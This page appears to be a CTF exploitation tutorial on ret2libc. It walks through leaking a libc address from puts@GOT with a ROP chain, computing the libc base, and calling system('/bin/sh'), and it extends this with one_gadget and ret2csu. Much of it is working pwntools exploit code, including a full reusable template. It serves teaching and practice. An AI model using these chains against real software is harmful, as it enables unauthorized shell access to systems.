ret2libc
Bypass NX by returning into libc's system() function to pop a shell.
ret2libc
You've got a stack overflow, NX is on, and there's no win() function. You can't inject shellcode, and there's nothing useful to jump to in the binary itself. What now?
ret2libc (return-to-libc) solves this by jumping into libc — the C standard library that's always loaded in every dynamically linked program. libc has system(), which runs shell commands. If you can call system("/bin/sh"), you get a shell.
The Problem: ASLR
libc is loaded at a random address every run (ASLR). You can't hardcode system()'s address. But if you can leak one known libc address at runtime, you can calculate the rest.
The strategy:
How the Leak Works
The GOT (Global Offset Table) stores the resolved addresses of libc functions. After puts() has been called once, puts@GOT contains the real address of puts in libc. If you can read that value, you can compute:
libc_base = leaked_puts_address - libc.sym['puts']Once you know libc_base, every libc function's address is known: system, "/bin/sh", exit, everything.
Stage 1: Leak via ROP
You use a ROP chain to call puts(puts@GOT), which prints the address of puts in libc. Then you return to main() so the program runs again for stage 2.
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
offset = 72
# Stage 1: leak puts address
payload = b'A' * offset
payload += p64(pop_rdi) # set RDI to...
payload += p64(elf.got['puts']) # ...the address of puts in the GOT
payload += p64(elf.plt['puts']) # call puts() — prints the address
payload += p64(elf.sym['main']) # return to main() for stage 2
p.sendline(payload)
p.recvline() # skip any output before the leak
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base @ {hex(libc.address)}")What's happening:
pop_rdiloadself.got['puts']into RDI (the first argument)elf.plt['puts']callsputs(), which prints the 8 bytes atputs@GOT— that's the real libc addresself.sym['main']returns tomain(), giving you a second chance to send input
puts() stops at null bytes. The leaked address might have trailing garbage. Use .strip().ljust(8, b'\x00') to clean it up.
Stage 2: Call system("/bin/sh")
Now that libc.address is set, you can use any libc function at its real address. Build a second ROP chain:
ret = rop.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret) # stack alignment
payload2 += p64(pop_rdi) # set RDI to...
payload2 += p64(bin_sh) # ...address of "/bin/sh" in libc
payload2 += p64(libc.sym['system']) # call system("/bin/sh")
p.sendline(payload2)
p.interactive() # you have a shellFull Template
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
if args.REMOTE:
p = remote('challenge.ctf.com', 9001)
else:
p = process('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
offset = 72
# --- Stage 1: leak puts ---
payload = flat({offset: [pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']]})
p.sendline(payload)
p.recvuntil(b'!\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")
# --- Stage 2: shell ---
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = flat({offset: [ret, pop_rdi, bin_sh, libc.sym['system']]})
p.sendline(payload2)
p.interactive()Always add a ret gadget before system() on x86-64. Without it, system() may crash on a movaps instruction due to stack misalignment.
One-Gadget Alternative
A one_gadget is a single address in libc that spawns a shell if certain register conditions are met. Instead of building a full ROP chain, you just jump to it:
gem install one_gadget
one_gadget ./libc.so.6
# Output:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints: rsp & 0xf == 0, rcx == NULL
# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints: [rsp+0x40] == NULLEach result shows the address and the constraints that must be satisfied. Try each one — they often work even when constraints look wrong.
Finding the Right libc Version
The challenge might not give you libc.so.6. If you leak a few addresses, you can identify the version:
Visit https://libc.rip/ and paste your leaked addresses. You need at least 2 different symbols for accurate identification.
ret2csu: When You Need More Gadgets
Sometimes you need to control RSI or RDX (for read() or execve()), but the binary doesn't have pop rsi; ret or pop rdx; ret gadgets. The __libc_csu_init function contains universal gadgets that can set all three argument registers:
# These gadgets exist in most non-stripped ELFs (glibc < 2.34):
# csu_gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# csu_gadget2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
csu1 = 0x4011c6 # find with: objdump -d vuln | grep -A20 __libc_csu_init
csu2 = 0x4011b0
chain = p64(csu1)
chain += p64(0) # rbx = 0
chain += p64(1) # rbp = 1 (so rbp == rbx+1 after call)
chain += p64(got_target) # r12 = address of function pointer to call
chain += p64(arg1) # r13 → edi (arg1)
chain += p64(arg2) # r14 → rsi (arg2)
chain += p64(arg3) # r15 → rdx (arg3)
chain += p64(csu2) # executeret2csu is useful when the binary is small and lacks argument-setting gadgets. For full details, see this reference.
Checklist
- NX enabled, no
win()→ ret2libc is the approach - Run
checksec— is PIE off? (easier to work with fixed addresses) - Stage 1: ROP chain to leak
puts@GOTviaputs(puts@GOT) - Compute
libc.addressfrom the leak - Stage 2: ROP chain to call
system("/bin/sh") - Add
retgadget beforesystem()if it crashes (alignment) - Try
one_gadgetif the full chain is awkward - Need
pop rsi/pop rdx? → try ret2csu - Don't know libc version? → leak 2+ symbols, use libc.rip
Last updated on